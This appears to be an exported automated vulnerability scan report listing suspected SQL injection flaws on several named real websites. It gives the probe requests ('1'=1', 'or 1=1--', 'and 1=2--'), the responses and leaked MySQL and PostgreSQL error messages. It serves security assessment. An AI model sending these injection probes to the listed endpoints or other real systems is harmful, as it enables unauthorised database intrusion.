HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 39716
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.116. http://www.netlingo.com/tools/toolbar.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/toolbar.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/toolbar.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/toolbar.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 33824
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.117. http://www.netlingo.com/tools/widget.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/tools/widget.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /tools/widget.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /tools/widget.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34377
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.118. http://www.netlingo.com/top50/acronyms-for-parents.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/top50/acronyms-for-parents.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /top50/acronyms-for-parents.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /top50/acronyms-for-parents.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37752
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.119. http://www.netlingo.com/top50/business-text-terms.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/top50/business-text-terms.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /top50/business-text-terms.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:51 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /top50/business-text-terms.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37509
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.120. http://www.netlingo.com/top50/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/top50/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /top50/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /top50/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37420
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.121. http://www.netlingo.com/top50/newbie-terms.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/top50/newbie-terms.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /top50/newbie-terms.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:12 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /top50/newbie-terms.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:15 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41430
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.122. http://www.netlingo.com/top50/popular-text-terms.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/top50/popular-text-terms.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /top50/popular-text-terms.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /top50/popular-text-terms.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37680
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.123. http://www.netlingo.com/unsubscribe.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/unsubscribe.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /unsubscribe.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /unsubscribe.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.124. http://www.netlingo.com/word-of-the-day/feeds.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/word-of-the-day/feeds.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /word-of-the-day/feeds.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:24 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /word-of-the-day/feeds.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:45:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads 20086312%20or%201%3d1--%20 and 20086312%20or%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /news/201020086312%20or%201%3d1--%20/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:06:52 GMT Connection: close Connection: Transfer-Encoding Content-Length: 76790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]... <div id="nww_footer">
} --> </style> <div id="nww_footer_signup"> <dl> <dt> Network World's Testing Guide to Microsoft's Top Products <span>View the results of our recent tests</span> </dt> <dd> <a href="http://www.accelacomm.com/jaw/nwwmtc_ftr_nw/7/51008142/">Download PDF</a> </dd>
</dl> </div>
<!-- <div id="nww_footer_signup"> <dl> <dt> Build your own newsletters with TechDispenser <span> Save time, stay informed, de-clutter your inbox</span> </dt> <dd> <form target="_blank" id="footerNLform" name="footerNLf ...[SNIP]...
Request 2
GET /news/201020086312%20or%201%3d2--%20/100710-ebay-deploys-joomla-for-analytics.html HTTP/1.1 Host: www.networkworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) nnCoection: close Content-Type: text/html; charset=UTF-8 Cache-Control: private, max-age=300 Date: Tue, 25 Jan 2011 05:06:53 GMT Connection: close Connection: Transfer-Encoding Content-Length: 75198
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> ...[SNIP]... <div id="nww_footer">
<div id="nww_footer_signup"> <dl> <dt style="margin-bottom:15px;"> Network World's Daily Newsletter <span style="margin-top:15px; display:block;">Stay up to date with the most important tech news </span> </dt> <dd> <form target="new_window" id="footerNLform" name="footerNLform" method="get" action="http://www.networkworld.com/nl/nl_single_reg/daily-news.html?email=&source=nwwnla_nlt_ftr_mod2" onsubmit="openNewWindow()"> <!--input type="hidden" name="lists" value="networkworld_daily_news_alert"/--> <!--<input type="text" name="email" id="netflashinstantsignup" value="Email address"/>--> <input type="hidden" value="nwwnla_nlt_ftr_mod" name="source"/>
<button type="submit">Sign-up</button> <!--<a href="/tos.html"><span class="signupterms">Terms of Service</span></a>--> </form> </dd> <script type="text/javascript"> $("form#footerNLform input#netflashinstantsignup").focus(function () { $(this).val(""); }); </script> <!-- <dd> <div class="nww_footer_complete"> <span>Thank you!</span> You are now subscribed. <a href="#">See more newsletters</a> </div> </dd> --> </dl> </div>
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 1, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /licenses'/bsd-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:09:24 GMT Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15 Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=6sj2lur9a5t479v3d37vivubu3; expires=Thu, 17-Feb-2011 03:42:44 GMT; path=/; domain=.opensource.org Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:24 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 11528
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the REST URL parameter 2, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /licenses/bsd-license.php' HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:09:32 GMT Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15 Set-Cookie: SESScfc6ae0fd5872e4ca9e7dfd6aa7abb6f=atds4ieat3ah6p2t9gs7kmoss4; expires=Thu, 17-Feb-2011 03:42:52 GMT; path=/; domain=.opensource.org Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:32 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 11528
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 67864195%20or%201%3d1--%20 and 67864195%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /flyerboard/soundings-publications-llc/212367864195%20or%201%3d1--%20/0.html HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
<!-- START: SET 1 --> <div id="set1"> NY Daily News Flyerboard </div> <!-- END: SET 1 -->
<!-- START: CONTENT --> <div id="content">
<div style="text-align: center; margin: 10px;">
<s ...[SNIP]...
Request 2
GET /flyerboard/soundings-publications-llc/212367864195%20or%201%3d2--%20/0.html HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
The bid parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the bid parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /post.php?bid=2123%20and%201%3d1--%20&pid=3922&post HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response 1
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 05:05:12 GMT Server: Apache X-Powered-By: PHP/5.2.17 P3P: CP="CAO PSA OUR" Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <title>PaperG | Post a Flyer</title>
<div style="display:none;"> <select name="loc_cat" id="loc_cat" size="1" class="post" onChange="changeCategory( parseInt( document.getElementById( 'loc_cat' ).value ) );saveInput( this.getAttribute( 'name' ) );"> <option value="3" selected>General</option> <script type="text/javascript"> var selected_cat = document.getElementById("temp3_norm"); if(selected_cat) { setTimeout("selected_cat.onclick();", 2000); } </script> <option value="4">Real Estate</option> <option value="5">Promotion</option> </select> </div> <script> var selected_template = 0; function switch_cat(value) { selected_template = value; //hide other values var i; for(i = 3; i <= 5; i++) { if(i == selected_template) { hide('temp' + i + '_norm'); show('temp' + i + '_over'); } else { hide('temp' + i + '_over'); show('temp' + i + '_norm'); } }
var cat_node = document.getElementById('loc_cat'); cat_node.value = value; cat_node.onchange(); }
function display_template_info(cat_id) { var text = ''; switch(cat_id) { case 3: text = 'The most versatile template. Allows you to include text like address, phone, and URL.'; break ...[SNIP]...
Request 2
GET /post.php?bid=2123%20and%201%3d2--%20&pid=3922&post HTTP/1.1 Host: www.paperg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=1a2a1fi9q2vop26mnuph8otr37;
Response 2
HTTP/1.0 200 OK Date: Tue, 25 Jan 2011 05:05:13 GMT Server: Apache X-Powered-By: PHP/5.2.17 P3P: CP="CAO PSA OUR" Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en"> <head> <title>PaperG | Post a Flyer</title>
<div style="display:none;"> <select name="loc_cat" id="loc_cat" size="1" class="post" onChange="changeCategory( parseInt( document.getElementById( 'loc_cat' ).value ) );saveInput( this.getAttribute( 'name' ) );"> <option value="3" selected>General</option> <script type="text/javascript"> var selected_cat = document.getElementById("temp3_norm"); if(selected_cat) { setTimeout("selected_cat.onclick();", 2000); } </script> <option value="4">Real Estate</option> <option value="5">Promotion</option> </select> </div> <script> var selected_template = 0; function switch_cat(value) { selected_template = value; //hide other values var i; for(i = 3; i <= 5; i++) { if(i == selected_template) { hide('temp' + i + '_norm'); show('temp' + i + '_over'); } else { hide('temp' + i + '_over'); show('temp' + i + '_norm'); } }
var cat_node = document.getElementById('loc_cat'); cat_node.value = value; cat_node.onchange(); }
function display_template_info(cat_id) { var text = ''; switch(cat_id) { case 3: text = 'The most versatile template. Allows you to include text like address, phone, and URL.'; break; case 4: text = 'Use for real estate listings. Allows you ...[SNIP]...
1.130. http://www.soundingsonline.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 00:09:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:39 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 00:09:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=hhaihbhl84hkvcra7pfqf1cd13; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 00:09:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.131. http://www.soundingsonline.com/about-us [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/about-us
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /about-us?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
